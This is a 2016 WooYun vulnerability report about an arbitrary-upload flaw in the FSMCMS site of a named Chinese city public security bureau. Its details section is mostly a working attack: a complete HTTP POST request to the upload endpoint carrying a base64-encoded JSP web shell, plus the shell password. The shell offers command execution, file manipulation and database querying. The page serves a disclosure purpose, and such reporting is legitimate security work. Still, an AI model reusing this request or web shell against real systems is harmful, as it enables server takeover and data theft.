当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0170795

漏洞标题:某市公安局存在GETSHELL漏洞

相关厂商:XXX市公安局

漏洞作者: x7iao

提交时间:2016-01-18 12:56

修复时间:2016-03-05 09:52

公开时间:2016-03-05 09:52

漏洞类型:系统/服务补丁不及时

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(公安部一所)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-18: 细节已通知厂商并且等待厂商处理中
2016-01-20: 厂商已经确认,细节仅向厂商公开
2016-01-30: 细节向核心白帽子及相关领域专家公开
2016-02-09: 细节向普通白帽子公开
2016-02-19: 细节向实习白帽子公开
2016-03-05: 细节向公众公开

简要描述:

简简单单就get

详细说明:

包头市公安局
http://**.**.**.**/
FSMCMS
POST数据包

POST /fsmcms/cms/client/uploadpic_html.jsp?toname=xx.jsp&diskno=xxxx HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=926A858F3F6B1690938B6CC4BDED6F5D; _gscu_1821011484=53090211p8148l20; _gscs_1821011484=53090211wim2n620|pv:1; _gscbrs_1821011484=1; Hm_lvt_adb4ad59880d9738ef047f3f429bf42b=1453090209; Hm_lpvt_adb4ad59880d9738ef047f3f429bf42b=1453090216
Content-Length: 12961
<?xml version="1.0" encoding="UTF-8"?>
<root>
PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKixqYXZhLnV0aWwuKixqYX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gICAgICBqYXZhLnV0aWwuRGF0ZSBkdDsKICAgICAgICBTaW1wbGVEYXRlRm9ybWF0IGZtID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eXktTU0tZGQgSEg6bW06c3MiKTsKICAgICAgICBmb3IgKGludCBpID0gMDsgaSA8IGwubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgZHQgPSBuZXcgamF2YS51dGlsLkRhdGUobFtpXS5sYXN0TW9kaWZpZWQoKSk7CiAgICAgICAgICAgIHNUID0gZm0uZm9ybWF0KGR0KTsKICAgICAgICAgICAgc1EgPSBsW2ldLmNhblJlYWQoKSA/ICJSIiA6ICIiOwogICAgICAgICAgICBzUSArPSBsW2ldLmNhbldyaXRlKCkgPyAiIFciIDogIiI7CiAgICAgICAgICAgIGlmIChsW2ldLmlzRGlyZWN0b3J5KCkpIHsKICAgICAgICAgICAgICAgIHNiLmFwcGVuZChsW2ldLmdldE5hbWUoKSArICIvXHQiICsgc1QgKyAiXHQiICsgbFtpXS5sZW5ndGgoKQogICAgICAgICAgICAgICAgICAgICAgICArICJcdCIgKyBzUSArICJcbiIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgc0YgKz0gbFtpXS5nZXROYW1lKCkgKyAiXHQiICsgc1QgKyAiXHQiICsgbFtpXS5sZW5ndGgoKSArICJcdCIKICAgICAgICAgICAgICAgICAgICAgICAgKyBzUSArICJcbiI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc2IuYXBwZW5kKHNGKTsKICAgIH0KIAogICAgdm9pZCBFRShTdHJpbmcgcykgdGhyb3dzIEV4Y2VwdGlvbiB7CiAgICAgICAgRmlsZSBmID0gbmV3IEZpbGUocyk7CiAgICAgICAgaWYgKGYuaXNEaXJlY3RvcnkoKSkgewogICAgICAgICAgICBGaWxlIHhbXSA9IGYubGlzdEZpbGVzKCk7CiAgICAgICAgICAgIGZvciAoaW50IGsgPSAwOyBrIDwgeC5sZW5ndGg7IGsrK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ZWFtIG9zID0gbmV3IEZpbGVPdXRwdXRTdHJlYW0oZik7CiAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBkLmxlbmd0aCgpOyBpICs9IDIpIHsKICAgICAgICAgICAgb3MKICAgICAgICAgICAgICAgICAgICAud3JpdGUoKGguaW5kZXhPZihkLmNoYXJBdChpKSkgPDwgNCB8IGguaW5kZXhPZihkCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAuY2hhckF0KGkgKyAxKSkpKTsKICAgICAgICB9CiAgICAgICAgb3MuY2xvc2UoKTsKICAgIH0KIAogICAgdm9pZCBISChTdHJpbmcgcywgU3RyaW5nIGQpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIEZpbGUgc2YgPSBuZXcgRmlsZShzKSwgZGYgPSBuZXcgRmlsZShkKTsKICAgICAgICBpZiAoc2YuaXNEaXJlY3RvcnkoKSkgewogICAgICAgICAgICBpZiAoIWRmLmV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICBkZi5ta2RpcigpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEZpbGUgeltdID0gc2YubGlzdEZpbGVzKCk7CiAgICAgICAgICAgIGZvciAoaW50IGogPSAwOyBqIDwgei5sZW5ndGg7IGorKykgewogICAgICAgICAgICAgICAgSEgocyArICIvIiArIHpbal0uZ2V0TmFtZSgpLCBkICsgIi8iICsgeltqXS5nZXROYW1lKCkpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgRmlsZUlucHV0U3RyZWFtIGlzID0gbmV3IEZpbGVJbnB1dFN0cmVhbShzZik7CiAgICAgICAgICAgIEZpbGVPdXRwdXRTdHJlYW0gb3MgPSBuZXcgRmlsZU91dHB1dFN0cmVhbShkZik7CiAgICAgICAgICAgIGludCBuOwogICAgICAgICAgICBieXRlW10gYiA9IG5ldyBieXRlWzUxMl07CiAgICAgICAgICAgIHdoaWxlICgobiA9IGlzLnJlYWQoYiwgMCwgNTEyKSkgIT0gLTEp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iBjID0gR0Mocyk7CiAgICAgICAgU3RyaW5nW10gdCA9IHsgIlRBQkxFIiB9OwogICAgICAgIFJlc3VsdFNldCByID0gYy5nZXRNZXRhRGF0YSgpLmdldFRhYmxlcyhudWxsLCBudWxsLCAiJSIsIHQpOwogICAgICAgIHdoaWxlIChyLm5leHQoKSkgewogICAgICAgICAgICBzYi5hcHBlbmQoci5nZXRTdHJpbmcoIlRBQkxFX05BTUUiKSArICJcdCIpOwogICAgICAgIH0KICAgICAgICByLmNsb3NlKCk7CiAgICAgICAgYy5jbG9zZSgpOwogICAgfQogCiAgICB2b2lkIFBQKFN0cmluZyBzLCBTdHJpbmdCdWZmZXIgc2IpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIFN0cmluZ1tdIHggPSBzLnRyaW0oKS5zcGxpdCgiXHJcbiIpOwogICAgICAgIENvbm5lY3Rpb24gYyA9IEdDKHMpOwogICAgICAgIFN0YXRlbWVudCBtID0gYy5jcmVhdGVTdGF0ZW1lbnQoMTAwNSwgMTAwNyk7CiAgICAgICAgUmVzdWx0U2V0IHIgPSBtLmV4ZWN1dGVRdWVyeSgic2VsZWN0ICogZnJvbSAiICsgeFszXSk7CiAgICAgICAgUmVzdWx0U2V0TWV0YURhdGEgZCA9IHIuZ2V0TWV0YURhdGEoKTsKICAgICAgICBmb3IgKGludCBpID0gMTsgaSA8PSBkLmdldENvbHVtbkNvdW50KCk7IGkrKykgewogICAgICAgICAgICBzYi5hcHBlbmQoZC5nZXRDb2x1bW5OYW1lKGkpICsgIiAoIiArIGQuZ2V0Q29sdW1uVHlwZU5hbWUoaSkKICAgICAgICAgICAgICAgICAgICArICIpXHQiKTsKICAgICAgICB9CiAgICAgICAgci5jbG9zZSgpOwogICAgICAgIG0uY2xvc2UoKTsKICAgICAgICBjLmNsb3NlKCk7CiAgICB9CiAKICAgIHZvaWQgUVEoU3RyaW5nIGNzLCBTdHJpbmcgcywgU3RyaW5nIHEsIFN0cmluZ0J1ZmZlciBzYikgdGhyb3dzIEV4Y2VwdGlvbiB7CiAgICAgICAgaW50IGk7CiAgICAgICAgQ29ubmVjdGlvbiBjID0gR0Mocyk7CiAgICAgICAgU3RhdGVtZW50IG0gPSBjLmNyZWF0ZVN0YXRlbWVudCgxMDA1LCAxMDA4KTsKICAgICAgICB0cnkgewogICAgICAgICAgICBSZXN1bHRTZXQgciA9IG0uZXhlY3V0ZVF1ZXJ5KHEpOwogICAgICAgICAgICBSZXN1bHRTZXRNZXRhRGF0YSBkID0gci5nZXRNZXRhRGF0YSgpOwogICAgICAgICAgICBpbnQgbiA9IGQuZ2V0Q29sdW1uQ291bnQoKTsKICAgICAgICAgICAgZm9yIChpID0gMTsgaSA8PSBuOyBpKyspIHsKICAgICAgICAgICAgICAgIHNiLmFwcGVuZChkLmdldENvbHVtbk5hbWUoaSkgKyAiXHR8XHQiKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzYi5hcHBlbmQoIlxyXG4iKTsKICAgICAgICAgICAgd2hpbGUgKHIubmV4dCgpKSB7CiAgICAgICAgICAgICAgICBmb3IgKGkgPSAxOyBpIDw9IG47IGkrKykgewogICAgICAgICAgICAgICAgICAgIHNiLmFwcGVuZChFQyhyLmdldFN0cmluZyhpKSwgY3MpICsgIlx0fFx0Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzYi5hcHBlbmQoIlxyXG4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByLmNsb3NlKCk7CiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKICAgICAgICAgICAgc2IuYXBwZW5kKCJSZXN1bHRcdHxcdFxyXG4iKTsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIG0uZXhlY3V0ZVVwZGF0ZShxKTsKICAgICAgICAgICAgICAgIHNiLmFwcGVuZCgiRXhlY3V0ZSBTdWNjZXNzZnVsbHkhXHR8XHRcclxuIik7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBl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gICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKFouZXF1YWxzKCJCIikpIHsKICAgICAgICAgICAgQkIoejEsIHNiKTsKICAgICAgICB9IGVsc2UgaWYgKFouZXF1YWxzKCJDIikpIHsKICAgICAgICAgICAgU3RyaW5nIGwgPSAiIjsKICAgICAgICAgICAgQnVmZmVyZWRSZWFkZXIgYnIgPSBuZXcgQnVmZmVyZWRSZWFkZXIoCiAgICAgICAgICAgICAgICAgICAgbmV3IElucHV0U3RyZWFtUmVhZGVyKG5ldyBGaWxlSW5wdXRTdHJlYW0obmV3IEZpbGUoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB6MSkpKSk7CiAgICAgICAgICAgIHdoaWxlICgobCA9IGJyLnJlYWRMaW5lKCkpICE9IG51bGwpIHsKICAgICAgICAgICAgICAgIHNiLmFwcGVuZChsICsgIlxyXG4iKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBici5jbG9zZSgpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIkQiKSkgewogICAgICAgICAgICBCdWZmZXJlZFdyaXRlciBidyA9IG5ldyBCdWZmZXJlZFdyaXRlcigKICAgICAgICAgICAgICAgICAgICBuZXcgT3V0cHV0U3RyZWFtV3JpdGVyKG5ldyBGaWxlT3V0cHV0U3RyZWFtKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgbmV3IEZpbGUoejEpKSkpOwogICAgICAgICAgICBidy53cml0ZSh6Mik7CiAgICAgICAgICAgIGJ3LmNsb3NlKCk7CiAgICAgICAgICAgIHNiLmFwcGVuZCgiMSIpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIkUiKSkgewogICAgICAgICAgICBFRSh6MSk7CiAgICAgICAgICAgIHNiLmFwcGVuZCgiMSIpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIkYiKSkgewogICAgICAgICAgICBGRih6MSwgcmVzcG9uc2UpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIkciKSkgewogICAgICAgICAgICBHRyh6MSwgejIpOwogICAgICAgICAgICBzYi5hcHBlbmQoIjEiKTsKICAgICAgICB9IGVsc2UgaWYgKFouZXF1YWxzKCJIIikpIHsKICAgICAgICAgICAgSEgoejEsIHoyKTsKICAgICAgICAgICAgc2IuYXBwZW5kKCIxIik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiSSIpKSB7CiAgICAgICAgICAgIElJKHoxLCB6Mik7CiAgICAgICAgICAgIHNiLmFwcGVuZCgiMSIpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIkoiKSkgewogICAgICAgICAgICBKSih6MSk7CiAgICAgICAgICAgIHNiLmFwcGVuZCgiMSIpOwogICAgICAgIH0gZWxzZSBpZiAoWi5lcXVhbHMoIksiKSkgewogICAgICAgICAgICBLSyh6MSwgejIpOwogICAgICAgICAgICBzYi5hcHBlbmQoIjEiKTsKICAgICAgICB9IGVsc2UgaWYgKFouZXF1YWxzKCJMIikpIHsKICAgICAgICAgICAgTEwoejEsIHoyKTsKICAgICAgICAgICAgc2IuYXBwZW5kKCIxIik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiTSIpKSB7CiAgICAgICAgICAgIFN0cmluZ1tdIGMgPSB7IHoxLnN1YnN0cmluZygyKSwgejEuc3Vic3RyaW5nKDAsIDIpLCB6MiB9OwogICAgICAgICAgICBQcm9jZXNzIHAgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpOwogICAgICAgICAgICBNTShwLmdldElucHV0U3RyZWFtKCksIHNiKTsKICAgICAgICAgICAgTU0ocC5nZXRFcnJvclN0cmVhbSgpLCBzYik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiTiIpKSB7CiAgICAgICAgICAgIE5OKHoxLCBzYik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiTyIpKSB7CiAgICAgICAgICAgIE9PKHoxLCBzYik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiUCIpKSB7CiAgICAgICAgICAgIFBQKHoxLCBzYik7CiAgICAgICAgfSBlbHNlIGlmIChaLmVxdWFscygiUSIpKSB7CiAgICAgICAgICAgIFFRKGNzLCB6MSwgejIsIHNiKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gZSkgewogICAgICAgIHNiLmFwcGVuZCgiRVJST1IiICsgIjovLyAiICsgZS50b1N0cmluZygpKTsKICAgIH0KICAgIHNiLmFwcGVuZCgifCIgKyAiPC0iKTsKICAgIG91dC5wcmludChzYi50b1N0cmluZygpKTsKJT4=
</root>


一句话密码 sqzr

漏洞证明:

111.png

修复方案:

你懂的

版权声明:转载请注明来源 x7iao@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-20 14:45

厂商回复:

感谢提交!!
验证确认所描述的问题,已通知其修复。

最新状态:

暂无